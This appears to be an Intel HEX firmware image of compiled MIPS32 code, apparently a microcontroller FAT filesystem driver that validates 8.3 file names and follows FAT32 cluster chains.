:100200004c00c38f18006290010004248410827c8b
:10021000180062a01c00c3972c00c28f1d004488e8
:10022000212880001a0045982110a0006700621460
:1002300000000000010002242a00c2a3448082932f
:100240000a004010000000003241400f0000000092
:10025000060040100000000009000224348182a33f
:10026000211000002c41400b000000001c00c0a722
:100270004c00c28f0c00429401004224ffff433027
:100280004c00c28f0c0043a44c00c28f0c0043945e
:100290002c00c28f23004290150062140000000061
:1002a0004c00c28f0c0040a44c00c28f1800428c3e
:1002b0000400423009004010000000004c00c48fd0
:1002c000212800002f37400f000000001800c2afa7
:1002d0002a00c0a3bc40400b000000004c00c48fab
:1002e000010005244723400f000000001800c2afa2
:1002f0001800c38f150002240600621400000000dd
:1003000015000224348182a3211000002c41400bef
:10031000000000001800c28f2c00401400000000f4
:100320004c00c28f0800428c2c00c48f2128400052
:100330006d3f400f000000003000c2af4c00c28f84
:100340000c0042943000c38f211062003000c2af15
:100350004c00c28f408082af2a00c2931900401027
:10036000000000002c00c28f0300438821206000a1
:1003700000004498211080003000c48f21284000e4
:10038000e5d5400f000000000a0040140000000006
:100390001b000224348182a3080002241800c2af8b
:1003a000ffff0224088082af211000002c41400b87
:1003b000000000003000c28f088082aff340400b85
:1003c000000000003000c28f088082af1800c28f8a
:1003d00022004014000000002c00c28f030043885c
:1003e000000043981c00c297010044241c00c4a7cd
:1003f000211062001400c38f00006380ff0063308f
:10040000000043a01400c28f010042241400c2afb8
:100410002000c28f010042242000c2af1000c28f12
:10042000ffff42241000c2af2800c29701004224ff
:100430002800c2a74c00c28f1800428c0400423032
:1004400004004010000000002400c28f010042247c
:100450002400c2af01000224448082a31800c28f8e
:1004600004004014000000001000c28f60ff401420
:10047000000000004c00c28f1c00c3970e0043a474
:100480004c00c28f2000c38f100043ac4c00c28fc1
:100490002400c38f140043ac2800c3974400c28fcc
:1004a0001b006200f4014000101000001210000058
:1004b00021e8c0033c00bf8f3800be8f4000bd273d
:1004c0000800e00300000000d8ffbd272400bfaff4
:1004d0002000beaf21f0a0034080828f1000c2af89
:1004e0001000c28f0000428c1400c2af1000c28ff7
:1004f0000800428c1400c48f212840006d3f400f3b
:10050000000000001800c2af1000c28f0c0042941f
:100510001800c38f211062001800c2af1400c28ff0
:1005200003004388212060000000449821108000cf
:100530001800c48f21284000213000009ad8400fb5
:100540000000000004004014000000000900022424
:100550005841400b00000000448080a3211000009f
:1005600021e8c0032400bf8f2000be8f2800bd27d4
:100570000800e00300000000f8ffbd270400beaf44
:1005800021f0a0030800c4af348180a30800c28f0b
:100590001000438c0800c28f1400428c26106200a9
:1005a0000100422cff00423021e8c0030400be8f4e
:1005b0000800bd270800e00300000000c8ffbd27b9
:1005c0003400bfaf3000beaf21f0a0033800c4af8d
:1005d0003c00c5af4000c6af4400c7af3c00c38f6e
:1005e0004000c28f18006200121000001000c2af5d
:1005f0003800c28f1400c2af2000c0af1e00c0a7d9
:10060000348180a34400c28f0000428c2400c2af1a
:100610004400c28f0e0042941c00c2a74400c28f47
:100620001000428c1800c2af4400c28f1800428ce8
:100630000200423006004014000000001e000224a8
:10064000348182a3211000004842400b00000000ca
:10065000448082930a004010000000003241400fa5
:100660000000000006004010000000000900022405
:10067000348182a3211000004842400b000000009a
:100680004080838f4400c28f2e0062100000000063
:100690001c00c3972400c28f1d00448821288000bd
:1006a0001a0045982110a0002600621000000000ea
:1006b0004400c28f408082af4400c28f0800428c49
:1006c0002400c48f212840006d3f400f000000002f
:1006d0002800c2af4400c28f0c0042942800c38f90
:1006e000211062002800c2af468080a32400c28f80
:1006f00003004388212060000000449821108000fe
:100700002800c48f21284000e5d5400f00000000dc
:10071000080040140000000008000224348182a375
:10072000080002242000c2af211000004842400b04
:10073000000000002800c28f088082af3942400bc1
:10074000000000003942400b000000004400c28f4e
:100750001400438c1800c28f0700621400000000d0
:100760003d000224348182a33d0002242000c2af58
:100770003c42400b000000001c00c3972400c28fc5
:100780001d004488212880001a0045982110a000ef
:100790003e006214000000001c00c0a74400c28f8d
:1007a0000c00429401004224ffff43304400c28ffa
:1007b0000c0043a44400c28f0c0043942400c28f59
:1007c000230042900f006214000000004400c28f1a
:1007d0000c0040a44400c48f010005244723400faf
:1007e000000000002000c2af2000c28f05004010b2
:1007f000000000000f000224348182a33c42400b21
:10080000000000004400c28f0800428c2400c48f06
:10081000212840006d3f400f000000002800c2afbb
:100820004400c28f0c0042942800c38f2110620044
:100830002800c2af4400c28f408082af468080a3b0
:100840002400c28f030043882120600000004498e8
:10085000211080002800c48f21284000e5d5400fda
:1008600000000000070040140000000008000224ff
:10087000348182a3080002242000c2af3c42400b16
:10088000000000002800c28f088082af2400c28fc1
:1008900003004388000043981c00c29701004424d1
:1008a0001c00c4a721106200000043901400c28ff6
:1008b000000043a01400c28f010042241400c2af04
:1008c0001800c28f010042241800c2af1e00c29758
:1008d000010042241e00c2a71000c28fffff422465
:1008e0001000c2af1000c28f98ff4014000000003b
:1008f0004400c28f1c00c3970e0043a44400c28f63
:100900001800c38f100043ac1e00c3973c00c28f79
:100910001b006200f40140001010000012100000e3
:1009200021e8c0033400bf8f3000be8f3800bd27e0
:100930000800e00300000000c0fdbd273c02bfaf7f
:100940003802beaf21f0a0034002c4af4402c5afdd
:100950002110c0004802c2a32800c0af2c00c0afc5
:10096000010002243000c2af000102241800c2af0f
:100970004880828f3d004010000000004002c28f7e
:100980001c8182af108180a76842400b00000000ec
:100990001081829701004224ffff4230108182a71c
:1009a0001c81838f10818297401002002110620009
:1009b00000004294f6ff401400000000108182976e
:1009c000211840001800c28f2a1043000a0040146a
:1009d000000000001c81828f000043942e0002243e
:1009e00005006210000000001c81828f000042940c
:1009f0000400401400000000211000007044400b6f
:100a0000000000001800c0af9142400b0000000041
:100a10001c81838f1800c28f4010020021106200d9
:100a2000000043941800c28f401002001000c42739
:100a300021108200280043a41800c28f0100422424
:100a40001800c2af10818297211840001800c28f91
:100a50002a104300eeff4014000000003800c227b7
:100a60001c8182afc842400b000000004002c48fce
:100a70007b4b410f00000000ffff4230108182a736
:100a800010818297211840001800c28f2a1043005d
:100a90000a004014000000004002c28f00004380a2
:100aa0002e00022405006210000000004002c28fe8
:100ab00000004280040040140000000021100000eb
:100ac0007044400b000000003800c227148182af40
:100ad0001800c0afc242400b000000001481838f99
:100ae0001800c28f211062001800c38f4002c48f0b
:100af0002118830000006380000043a01800c28f0b
:100b0000010042241800c2af1081829721184000d2
:100b10001800c28f2a104300f0ff401400000000ac
:100b20004802c29321204000f846400f0000000018
:100b30001000c2af1000c38f07000224040062142b
:100b400000000000211000007044400b0000000075
:100b5000108182971400c2af4402c28f01000324a7
:100b60002c0043ac4402c28f340040a41000c38f59
:100b700001000224030062140000000001000224ae
:100b80002800c2af1000c38f02000224410062148b
:100b9000000000002000c0aff942400b0000000040
:100ba0001c81838f2000c28f401002002110620040
:100bb000000042940001422c070040140000000095
:100bc000050002241000c2af010002242800c2afb9
:100bd000fe42400b000000002000c28f01004224b2
:100be0002000c2af2000c38f1400c28f2a10620001
:100bf000ebff4014000000002000c38f1400c28fe0
:100c00002400621400000000030002241000c2afa0
:100c10002000c0af2043400b000000001c81838fe8
:100c20002000c28f40100200211062000000429498
:100c30006100422c0f004014000000001c81838fd3
:100c40002000c28f40100200211062000000429478
:100c50007b00422c0700401000000000040002242a
:100c60001000c2af010002242800c2af2543400b90
:100c7000000000002000c28f010042242000c2af0b
:100c80002000c38f1400c28f2a106200e3ff4014bb
:100c9000000000001000c38f06000224f400621060
:100ca000000000002800c28ff10040140000000086
:100cb0002000c0af7343400b000000004880828fcb
:100cc00021004010000000001c81838f2000c28f93
:100cd0004010020021106200000043942e00022404
:100ce00007006214000000001400c38f2000c28fb0
:100cf000231062000500422805004010000000009b
:100d00002000c28f090042280500401400000000a6
:100d1000010002242800c2af7843400b000000000d
:100d20001c81838f2000c28f4010020021106200be
:100d3000000043942e0002242100621400000000f1
:100d40007843400b000000001481838f2000c28f85
:100d500021106200000043802e000224070062146c
:100d6000000000001400c38f2000c28f2310620017
:100d70000500422805004010000000002000c28f3e
:100d80000900422805004014000000000100022470
:100d90002800c2af7843400b000000001481838f0d
:100da0002000c28f21106200000043802e00022428
:100db00003006214000000007843400b00000000b4
:100dc0002000c28f010042242000c2af2000c38f48
:100dd0001400c28f2a106200b8ff40140000000007
:100de0002800c28fa2004014000000004402c28ffd
:100df000200042243400c2af1800c0af8943400b2a
:100e0000000000001800c28f3400c38f2110620060
:100e100020000324000043a01800c28f01004224d8
:100e20001800c2af1800c28f0b004228f5ff401413
:100e3000000000004880828f0b004010000000007e
:100e40002000c28f401002002400c2af1400c28fe5
:100e5000401002001400c2af1c81828f2c00c2af70
:100e60009e43400b000000002000c28f2400c2af50
:100e70001481828f2c00c2af1800c0af1c00c0af1d
:100e8000d043400b000000001800c28f2c00c38f1d
:100e90002110620000004280260040100000000087
:100ea0001c00c28f3400c38f211062001800c38f52
:100eb0002c00c48f2118830000006380000043a031
:100ec0001c00c28f3400c38f2110620000004280da
:100ed0006100422814004014000000001c00c28f72
:100ee0003400c38f21106200000042807b00422842
:100ef0000d004010000000001c00c28f3400c38fa2
:100f0000211062001c00c38f3400c48f211883009d
:100f100000006380ff006330e0ff6324ff00633064
:100f2000201c037c000043a01c00c28f010042244f
:100f30001c00c2af1800c28f010042241800c2afcb
:100f40001c00c28f0800422806004010000000006c
:100f50001800c38f2400c28f2a106200caff4014f9
:100f6000000000002400c38f1400c28f2a1062000a
:100f70003f004010000000002400c28f0100422406
:100f80002400c2af080002242000c2af1344400b6b
:100f9000000000002400c28f2c00c38f21106200cb
:100fa0000000428026004010000000002000c28f98
:100fb0003400c38f211062002400c38f2c00c48f23
:100fc0002118830000006380000043a02000c28f2e
:100fd0003400c38f2110620000004280610042286b
:100fe00014004014000000002000c28f3400c38fa2
:100ff00021106200000042807b0042280d0040105a
:10100000000000002000c28f3400c38f2110620056
:101010002000c38f3400c48f211883000000638038
:10102000ff006330e0ff6324ff006330201c037c7b
:10103000000043a02000c28f010042242000c2af64
:101040002400c28f010042242400c2af2000c28fbe
:101050000b00422806004010000000002400c38f4f
:101060001400c28f2a106200caff40140000000062
:101070001000c38f0600022405006210000000006b
:101080002800c38f010002244c00621400000000fd
:101090004402c28f3000428c3400c2af4880828f3d
:1010a00003004014000000001481828f2c00c2afa6
:1010b0001c00c0af1800c0af6144400b000000002e
:1010c0004880828f1c004010000000004402c28f44
:1010d0003000438c1800c28f4010020021106200c3
:1010e0001c81848f1800c38f4018030021188300cf
:1010f00000006394000043a43000c28f1e00401023
:10110000000000001c81838f1800c28f4010020075
:1011100021106200000042940001422c160040148d
:10112000000000004402c28f2c0040ac3000c0af71
:101130005e44400b000000001c00c28f01004324ed
:101140001c00c3af3400c38f211062001800c38f8e
:101150002c00c48f2118830000006380000043a08e
:101160001c00c28f010043241c00c3af3400c38f96
:1011700021106200000040a01800c28f010042242c
:101180001800c2af1800c38f1400c28f2a1062006b
:10119000cbff4014000000004402c28f3000438c9b
:1011a0001800c28f4010020021106200000040a40d
:1011b000108183974402c28f340043a401000224ab
:1011c00021e8c0033c02bf8f3802be8f4002bd271a
:1011d0000800e0030000000090ffbd276c00bfafd7
:1011e0006800beaf6400b7af6000b6af5c00b5afdb
:1011f0005800b4af5400b3af5000b2af4c00b1af21
:101200004800b0af21f0a0037000c4af7400c5afb8
:101210002110c0007800c2a31c00c0af010002244e
:101220002800c2af000102241400c2af4880828fa0
:1012300013004010000000007000c28f1c8182afbc
:10124000108180a79744400b000000001081829716
:1012500001004224ffff4230108182a71c81838f4e
:101260001081829740100200211062000000429419
:10127000f6ff401400000000a744400b00000000ef
:101280007000c28f148182af7000c48f7b4b410ffe
:1012900000000000ffff4230108182a7108182977a
:1012a000211840001400c28f2a104300040040108f
:1012b0000000000021100000ea46400b0000000082
:1012c0007800c29321204000f846400f0000000043
:1012d0001000c2af1000c38f070002240400621484
:1012e0000000000021100000ea46400b0000000052
:1012f000108182972c00c2af7400c28f01000324ba
:101300002c0043ac7400c28f340040a41000c38f83
:101310000100022403006214000000000100022406
:101320001c00c2af1000c38f0200022441006214ef
:10133000000000002000c0afe144400b00000000ae
:101340001c81838f2000c28f401002002110620098
:10135000000042940001422c0700401400000000ed
:10136000050002241000c2af010002241c00c2af1d
:10137000e644400b000000002000c28f0100422420
:101380002000c2af2000c38f2c00c28f2a10620041
:10139000ebff4014000000002000c38f2c00c28f20
:1013a0002400621400000000030002241000c2aff9
:1013b0002000c0af0845400b000000001c81838f57
:1013c0002000c28f401002002110620000004294f1
:1013d0006100422c0f004014000000001c81838f2c
:1013e0002000c28f401002002110620000004294d1
:1013f0007b00422c07004010000000000400022483
:101400001000c2af010002241c00c2af0d45400b0a
:10141000000000002000c28f010042242000c2af63
:101420002000c38f2c00c28f2a106200e3ff4014fb
:10143000000000001000c38f0600022405006210a7
:10144000000000001c00c38f01000224b4006214dd
:10145000000000007400c28f7000c38f300043ace6
:101460004880828f4f004010000000001c81838f55
:101470007000c28f2d006210000000001400c0af89
:101480003e45400b000000007400c28f3000438cca
:101490001400c28f40100200211062001c81848f52
:1014a0001400c38f401803002118830000006394c8
:1014b000000043a42800c28f0c0040100000000070
:1014c0001c81838f1400c28f401002002110620023
:1014d000000042940001422c04004014000000006f
:1014e0007400c28f2c0040ac2800c0af1400c28f23
:1014f000010042241400c2af1400c38f2c00c28f1d
:101500002a106200e0ff4014000000007400c28f47
:101510003000438c1400c28f401002002110620082
:10152000000040a4c345400b000000001400c0af01
:101530006245400b000000002800c28f0f004010e1
:10154000000000001c81838f1400c28f4010020035
:1015500021106200000042940001422c0700401458
:10156000000000007400c28f2c0040ac2800c0af07
:1015700000000000c345400b000000001400c28fb3
:10158000010042241400c2af1400c38f2c00c28f8c
:101590002a106200e8ff401400000000c345400b21
:1015a000000000002110a003211840002c00c28f71
:1015b00001004224ffff44243400c4af2120400036
:1015c00021908000219800000227120000b913002a
:1015d00025b8970000b11200212040002180800032
:1015e000218800000227100000a9110025a89500fd
:1015f00000a1100040100200010042240700422414
:10160000c2100200c010020023e8a2031000a227ab
:101610000100422442100200401002003800c2af14
:101620003800c28f3000c2af1800c0af1400c0af86
:10163000a145400b000000001800c28f01004424a7
:101640001800c4af3000c48f211082001481858f30
:101650001400c48f2120a40000008480000044a056
:101660001800c28f010044241800c4af3000c48f9a
:1016700021108200000040a01400c28f010042240b
:101680001400c2af1400c48f2c00c28f2a10820035
:10169000e9ff4014000000001400c0afb745400b44
:1016a000000000007400c28f3000448c1400c28f10
:1016b00040100200211082003800c58f1400c48f32
:1016c000402004002120a40000008494000044a4d1
:1016d0001400c28f010042241400c2af1400c48f52
:1016e0002c00c28f2a108200eeff40140000000080
:1016f0007400c28f3000448c1400c28f401002006e
:1017000021108200000040a421e86000108183972e
:101710007400c28f340043a4e946400b000000006f
:101720004880828f8d004010000000001c81828f55
:101730003000c2af2400c0af2000c0af0746400b4e
:10174000000000002000c28f401002001400c2af51
:101750001400c28f3000c38f21106200000042804d
:1017600012004010000000001400c28f3000c38f30
:1017700021106200000043802400c28f1000c427a3
:10178000211082002c0043a02400c28f01004224bb
:101790002400c2af2400c38f080002240300621497
:1017a000000000001b46400b000000001400c28f28
:1017b000010042243000c38f2110620000004280eb
:1017c00013004010000000001400c28f01004224ea
:1017d0003000c38f21106200000043802400c28fbc
:1017e0001000c427211082002c0043a02400c28fc7
:1017f000010042242400c2af2400c38f0800022449
:1018000003006214000000001b46400b00000000b3
:101810002000c28f010042242000c2af2000c38fed
:101820002c00c28f2a10620010004010000000003f
:101830001c81838f2000c28f4010020021106200a3
:10184000000043942e0002240800621000000000f3
:101850001c81838f2000c28f401002002110620083
:1018600000004294b7ff4014000000002446400be3
:10187000000000002400c28f010043242400c3aff5
:101880001000c32721106200200003242c0043a075
:101890002400c28f08004228f6ff40140000000018
:1018a0001c81838f2000c28f401002002110620033
:1018b000000043942e000224240062140000000063
:1018c0002000c28f01004224401002001400c2af69
:1018d0004d46400b000000002000c28f3000c38f37
:1018e0002110620000004280120040100000000041
:1018f0002000c28f3000c38f21106200000043809f
:101900002400c28f1000c427211082002c0043a0a5
:101910002400c28f010042242400c2af2400c38fe0
:101920000b00022403006214000000005346400b29
:10193000000000001400c28f3000c38f211062002d
:1019400000004280e4ff4014000000002400c28f29
:101950001400c2afa746400b000000001400c0af47
:101960006546400b000000001481838f1400c28f75
:1019700021106200000043801400c28f1000c427b1
:10198000211082002c0043a01400c28f01004224c9
:101990001400c2af1400c28f080042280e0040108d
:1019a000000000001481838f1400c28f2110620098
:1019b000000043802e000224070062100000000097
:1019c0001481838f1400c28f2110620000004280b6
:1019d000e5ff4014000000001400c28f1800c2afe1
:1019e0008146400b000000001400c28f0100432418
:1019f0001400c3af1000c32721106200200003248d
:101a00002c0043a01400c28f08004228f6ff4014a7
:101a1000000000001481838f1800c28f2110620023
:101a2000000043802e0002241c006214000000000d
:101a30001800c28f010042241800c2af9d46400b1f
:101a4000000000001400c28f010043241400c3af43
:101a50001481848f1800c38f010065241800c5af5e
:101a600021188300000063801000c4272110820029
:101a70002c0043a01481838f1800c28f21106200b4
:101a80000000428005004010000000001400c28fda
:101a90000b004228ebff401400000000b046400b52
:101aa000000000001400c28f010043241400c3afe3
:101ab0001000c32721106200200003242c0043a043
:101ac0001400c28f0b004228f6ff401400000000f3
:101ad0003c00c383200002240300621400000000c5
:101ae0005f0002243c00c2a37400c28f2000422485
:101af0003000c2af1400c0afe546400b000000004c
:101b00001400c28f3000c38f211062001400c38ff5
:101b10001000c427211883002c006380000043a01c
:101b20001400c28f1000c327211062002c004280d5
:101b30006100422814004014000000001400c28f0d
:101b40001000c327211062002c0042807b00422835
:101b50000d004010000000001400c28f3000c38f41
:101b6000211062001400c38f3000c48f211883003d
:101b700000006380ff006330e0ff6324ff006330f8
:101b8000201c037c000043a01400c28f01004224eb
:101b90001400c2af1400c28f0b004228d8ff4014bb
:101ba000000000000100022421e8c0036c00bf8f88
:101bb0006800be8f6400b78f6000b68f5c00b58f81
:101bc0005800b48f5400b38f5000b28f4c00b18fc7
:101bd0004800b08f7000bd270800e003000000003f
:101be000e0ffbd271c00beaf21f0a0032110800044
:101bf0002000c2a30c00c0a30400c0a73247400bc2
:101c0000000000004880828f180040100000000093
:101c10001c81838f0400c2974010020021106200d3
:101c20000000439420000224240062100000000001
:101c30001c81838f0400c2974010020021106200b3
:101c4000000043942e0002241c00621000000000db
:101c50001c81838f0400c297401002002110620093
:101c60001c8182af3747400b000000001481838f36
:101c70000400c2972110620000004380200002246b
:101c80000e006210000000001481838f0400c297d0
:101c900021106200000043802e0002240700621021
:101ca000000000001481838f0400c297211062009d
:101cb000148182af3747400b000000000400c29738
:101cc000010042240400c2a7108182970400c39738
:101cd0002b106200cbff4014000000000600c0a7dc
:101ce00010818297211840000400c29723106200df
:101cf000ffff42240800c2af6b47400b000000000a
:101d00004880828f13004010000000001c81838fe8
:101d10000800c28f401002002110620000004394ae
:101d2000200002241b006210000000001c81838f31
:101d30000800c28f4010020021106200000043948e
:101d40002e00022413006210000000006e47400bba
:101d5000000000001481838f0800c28f21106200f0
:101d600000004380200002240a00621000000000ee
:101d70001481838f0800c28f21106200000043800d
:101d80002e00022403006210000000006e47400b8a
:101d9000000000000600c297010042240600c2a70e
:101da0000800c28fffff42240800c2af0800c28fa4
:101db000d3ff401c00000000108183970400c297ed
:101dc00023106200ffff43300600c2972310620019
:101dd000ffff4230108182a7108182970101422cbf
:101de000040040100000000010818297040040149d
:101df00000000000070002249548400b000000008e
:101e00004880828f0e0040100000000010818297f1
:101e10004010020019004228050040140000000094
:101e2000060002240000c2af9947400b00000000ea
:101e3000020002240000c2af9947400b00000000de
:101e4000108182970d00422c050040140000000014
:101e5000060002240000c2af9947400b00000000ba
:101e60000000c0af0400c0a78f48400b0000000076
:101e70004880828f74004010000000001c81838f16
:101e80000400c2974010020021106200000042943a
:101e90000e00c2a70e00c2972000422c0500401081
:101ea000000000000e00c397050002241d0062140c
:101eb000000000000e00c3972200022419006210e7
:101ec000000000000e00c3972f00022415006210ce
:101ed000000000000e00c3973a00022411006210b7
:101ee000000000000e00c3973c0002240d006210a9
:101ef000000000000e00c3973e000224090062109b
:101f0000000000000e00c3975c0002240500621070
:101f1000000000000e00c3977c000224040062143d
:101f200000000000070002249548400b000000005c
:101f30002000c2930c004014000000000e00c39764
:101f40002a00022405006210000000000e00c39762
:101f50003f00022404006214000000000700022475
:101f60009548400b000000000000c38f06000224cb
:101f7000af006210000000000e00c3972000022492
:101f800021006210000000000e00c3972b00022405
:101f90001d006210000000000e00c3972c000224f8
:101fa00019006210000000000e00c3973b000224dd
:101fb00015006210000000000e00c3973d000224cf
:101fc00011006210000000000e00c3975b000224a5
:101fd0000d006210000000000e00c3975d00022497
:101fe00009006210000000000e00c3972e000224ba
:101ff00009006214000000000c00c39301000224d9
:102000000500621400000000060002240000c2afb8
:102010008c48400b000000001c81838f0400c29795
:102020004010020021106200000043942e000224a0
:102030007f00621400000000010002240c00c2a313
:102040008c48400b000000001481838f0400c2976d
:1020500021106200000042801000c2a31000c29351
:102060002000422c05004010000000001000c39327
:10207000050002241d006214000000001000c3933c
:102080002200022419006210000000001000c39317
:102090002f00022415006210000000001000c393fe
:1020a0003a00022411006210000000001000c393e7
:1020b0003c0002240d006210000000001000c393d9
:1020c0003e00022409006210000000001000c393cb
:1020d0005c00022405006210000000001000c393a1
:1020e0007c000224040062140000000007000224a7
:1020f0009548400b000000002000c2930c004014e3
:10210000000000001000c3932a00022405006210a2
:10211000000000001000c3933f000224040062147a
:1021200000000000070002249548400b000000005a
:102130000000c38f060002243d0062100000000072
:102140001000c39320000224210062100000000050
:102150001000c3932b0002241d0062100000000039
:102160001000c3932c00022419006210000000002c
:102170001000c3933b000224150062100000000011
:102180001000c3933d000224110062100000000003
:102190001000c3935b0002240d00621000000000d9
:1021a0001000c3935d0002240900621000000000cb
:1021b0001000c3932e0002240900621400000000e6
:1021c0000c00c3930100022405006214000000000b
:1021d000060002240000c2af8c48400b0000000043
:1021e0001000c3932e0002240300621400000000bc
:1021f000010002240c00c2a30000c38f01000224ce
:102200000b006210000000001000c2936100422c1d
:1022100007004014000000001000c2937b00422c15
:102220000300401000000000010002240000c2afc3
:102230000400c297010042240400c2a710818297c3
:102240000400c3972b10620009ff40140000000037
:102250000000c28f21e8c0031c00be8f2000bd27f4
:102260000800e00300000000d0ffbd272c00bfaf36
:102270002800beaf21f0a0033000c4af3400c5afca
:102280003800c6af3400c28f1000c2af3000c28f1a
:102290000000428c1400c2af3800c28f010003243a
:1022a0000600431000000000020003240a0043104f
:1022b00000000000bc48400b000000003000c28f4e
:1022c0001000438c1000c28f211062001000c2afba
:1022d000bc48400b000000003000c28f1400438c4b
:1022e0001000c28f231062001000c2af0000000077
:1022f000448082930a004010000000003241400fe9
:102300000000000006004010000000000900022448
:10231000348182a3ffff02248949400b00000000a2
:102320003000c28f0400428c1800c2af3000c28f50
:102330001800c38f080043ac3000c28f1400428cd9
:102340001800c2af1000c38f1800c28f2b104300bb
:1023500006004010000000001f000224348182a308
:10236000ffff02248949400b000000003000c38faa
:10237000180062908410027c180062a01000c38fc5
:102380003000c28f100043ac1000c38f1400c28f06
:102390001d004488212880001a0045982110a000c3
:1023a0001b006200f4014000101000001210000039
:1023b0001c00c2af1000c38f1400c28f1d004488e0
:1023c0001a0044981c00c28f1800820012200000de
:1023d000231064001000c2af1000c28fffff433013
:1023e0003000c28f0e0043a41400c28f230042901d
:1023f0001c00c38f1b006200f4014000101000009d
:10240000122800001800c5af1400c28f23004290ac
:10241000211840001800c28f180062001c00c28ff3
:1024200012180000231043001c00c2af1c00c28f12
:10243000ffff43303000c28f0c0043a41800c28f4e
:1024400054004010000000003000c48f1800c58ff9
:102450004723400f000000002000c2a32000c293c9
:102460004c004010000000002000c3933c000224f8
:1024700043006214000000003000c28f1800428c3c
:10248000010042301b004010000000003000c28fed
:102490000400438c3000c28f080043ac1800c38f87
:1024a0000100022408006210000000001800c28f22
:1024b000ffff42243000c48f212840004723400ff3
:1024c000000000002000c2a33000c48f21280000bb
:1024d0002f37400f000000002e00401000000000c9
:1024e0000f000224348182a3ffff02248949400b9c
:1024f000000000003000c28f0400438c3000c28f07
:10250000080043ac1800c28fffff42243000c48f84
:10251000212840004723400f000000002000c2a3f4
:102520002000c29306004010000000000f000224ab
:10253000348182a3ffff02248949400b0000000080
:102540001400c28f1d004388212060001a004498a7
:1025500021108000ffff43303000c28f0e0043a4e3
:102560001400c28f23004290ffff4224ffff43303c
:102570003000c28f0c0043a46549400b00000000ee
:102580000f000224348182a3ffff02248949400bfb
:10259000000000003000c28f0800428c1400c48f7d
:1025a000212840006d3f400f000000001800c2af1e
:1025b0003000c28f0c0042941c00c2af1800c38fc1
:1025c0001c00c28f211062001800c2af408080af93
:1025d000468080a31400c28f030043882128600036
:1025e000000045982110a0001800c48f2128400049
:1025f000e5d5400f00000000060040140000000078
:102600001b000224348182a3ffff02248949400b6e
:10261000000000001800c28f088082af348180a3c0
:102620002110000021e8c0032c00bf8f2800be8fbe
:102630003000bd270800e00300000000c8ffbd27f0
:102640003400bfaf3000beaf21f0a0033800c4afec
:102650003c00c5af1800c0af468080a33800c28fd1
:1026600024004290010003241000431000000000e9
:10267000030003241f004314000000003c00c28f2d
:10268000801002001400c2af1000c0a3ff0f023c74
:10269000ffff42341c00c2afff0f023cf8ff423480
:1026a0002000c2afc649400b000000003c00c38fb1
:1026b0002110600040100200211043001400c2af3e
:1026c0001400c28fff004230010042301000c2a34c
:1026d0001400c28f421002001400c2afffff023488
:1026e0001c00c2aff80f02242000c2afc649400b45
:1026f000000000003c00c28f401002001400c2af76
:102700001000c0a3ffff02341c00c2aff8ff023468
:102710002000c2af000000003800c28f0b004388c9
:10272000080043983800c28f1d004488212880008b
:102730001a0045982110a0001400c48f1b008200cd
:10274000f40140001010000012100000211062007f
:102750002400c2af3800c28f1d00438821206000d2
:102760001a00449821108000ffff42241400c38ff8
:10277000241062001400c2af0480838f2400c28f33
:1027800070006214000000003800c28f24004390e3
:102790000300022409006214000000001400c38f2b
:1027a00000a0023c50084224211062000000428c2c
:1027b0001800c2afb84a400b000000003800c28fba
:1027c000240043900200022409006214000000006b
:1027d0001400c38f00a0023c500842242110620064
:1027e000000042941800c2afb84a400b000000003d
:1027f0003800c28f2400439001000224b800621404
:10280000000000001400c38f00a0023c50084224c6
:1028100021106200000042901800c2af1000c29365
:1028200004004010000000001800c28f02110200d6
:102830001800c2af1400c28f010043243800c28fb9
:102840001d004488212880001a0045982110a0000e
:10285000ffff4224241062001400c2af1400c28f94
:1028600020004014000000003c8082930c004010c7
:10287000000000003800c48f212800002130000033
:1028800001000724c64a400f000000000400401069
:10289000000000001c00c28fc04a400b0000000076
:1028a0002400c28f010042242120400000a0023ced
:1028b00050084524e5d5400f0000000006004014f4
:1028c00000000000ffff0234048082af1c00c28fb2
:1028d000c04a400b000000002400c28f01004224c7
:1028e000048082af1400c38f00a0023c5008422431
:1028f00021106200000042902800c2af1000c29375
:1029000008004010000000002800c28f00110200e3
:102910001800c38f211062001800c2afb84a400be4
:10292000000000002800c28f0f0042300012020099
:102930001800c38f211062001800c2afb84a400bc4
:10294000000000003c8082930c004010000000005a
:102950003800c48f21280000213000000100072426
:10296000c64a400f000000000400401000000000b4
:102970001c00c28fc04a400b000000002400c48f1e
:1029800000a0023c50084524e5d5400f000000009f
:102990000600401400000000ffff0234048082aff4
:1029a0001c00c28fc04a400b000000002400c28ff0
:1029b000048082af3800c28f2400439003000224b9
:1029c00009006214000000001400c38f00a0023c44
:1029d00050084224211062000000428c1800c2af4f
:1029e000b84a400b000000003800c28f240043901a
:1029f0000200022409006214000000001400c38fca
:102a000000a0023c500842242110620000004294c1
:102a10001800c2afb84a400b000000003800c28f57
:102a200024004390010002242d00621400000000e5
:102a30001400c38f00a0023c500842242110620001
:102a4000000042901800c2af1000c2930400401072
:102a5000000000001800c28f021102001800c2af6f
:102a60001400c28f010043243800c28f1d00448827
:102a7000212880001a0045982110a000ffff422461
:102a8000241062001400c2af1400c38f00a0023ce7
:102a90005008422421106200000042902800c2af7a
:102aa0001000c29308004010000000002800c28ff0
:102ab000001102001800c38f211062001800c2af7d
:102ac000b84a400b000000002800c28f0f004230bf
:102ad000001202001800c38f211062001800c2af5c
:102ae0001800c38f2000c28f2b1062000300401417
:102af000000000002000c28f1800c2af1800c28f73
:102b000021e8c0033400bf8f3000be8f3800bd27de
:102b10000800e00300000000d0ffbd272c00bfaf7d
:102b20002800beaf21f0a0033000c4af3400c5af11
:102b30003800c6af2110e0003c00c2a33000c28fb5
:102b400024004390030002240f00621000000000e4
:102b50003000c28f24004390020002240a00621059
:102b6000000000003000c28f2400439001000224c6
:102b70000500621000000000ff0f023cffff42341e
:102b80003b4c400b000000003000c28f24004290fc
:102b90002118400003000224060062140000000017
:102ba000ff0f023cffff42341c00c2aff04a400b53
:102bb00000000000ffff02341c00c2af0000000054
:102bc000468080a33c00c293260040100000000015
:102bd0001000c0a30480828f1800c2af0f4b400bbf
:102be000000000001800c48f00a0023c50084524db
:102bf000213000009ad8400f00000000040040146b
:102c0000000000001c00c28f3b4c400b0000000085
:102c10001000c293010042241000c2a33000c28ff2
:102c200021004388212060001e004498211080006c
:102c30001800c38f211062001800c2af3000c28f8d
:102c4000220042901000c3932b106200e5ff401455
:102c5000000000003c8080a3211000003b4c400b92
:102c6000000000003000c28f2400429001000324c5
:102c70000a00431000000000030003241500431461
:102c8000000000003400c28f801002001400c2afa8
:102c90001100c0a33a4b400b000000003400c38f6a
:102ca0002110600040100200211043001400c2af48
:102cb0001400c28fff004230010042301100c2a355
:102cc0001400c28f421002001400c2af3a4b400bf6
